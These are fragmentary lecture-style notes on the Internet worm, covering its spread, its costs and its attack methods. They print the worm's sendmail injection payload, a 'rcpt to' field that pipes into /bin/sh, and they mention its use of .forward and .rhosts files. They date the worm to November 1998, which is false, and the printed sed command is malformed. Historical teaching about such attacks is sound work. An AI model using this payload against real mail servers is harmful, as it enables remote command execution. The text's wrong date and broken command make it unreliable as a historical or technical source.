Internet virus of November 1998. Reported in all the media Infected many, many sites Infected only Unix machines Infected only VAX and Sun3 Virus or worm?. cost of the worm. Network disconnection Loss of service (mail) Time of system administrators End of the age of innocence
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mail from: </dev/null>
rcpt to: <”|sed –d ‘1 ,/^$/’d |/bin/sh; exit 0”>
netstat –n –r
SIOCCIFCONF ioctl system call
user’s .forward and .rhosts files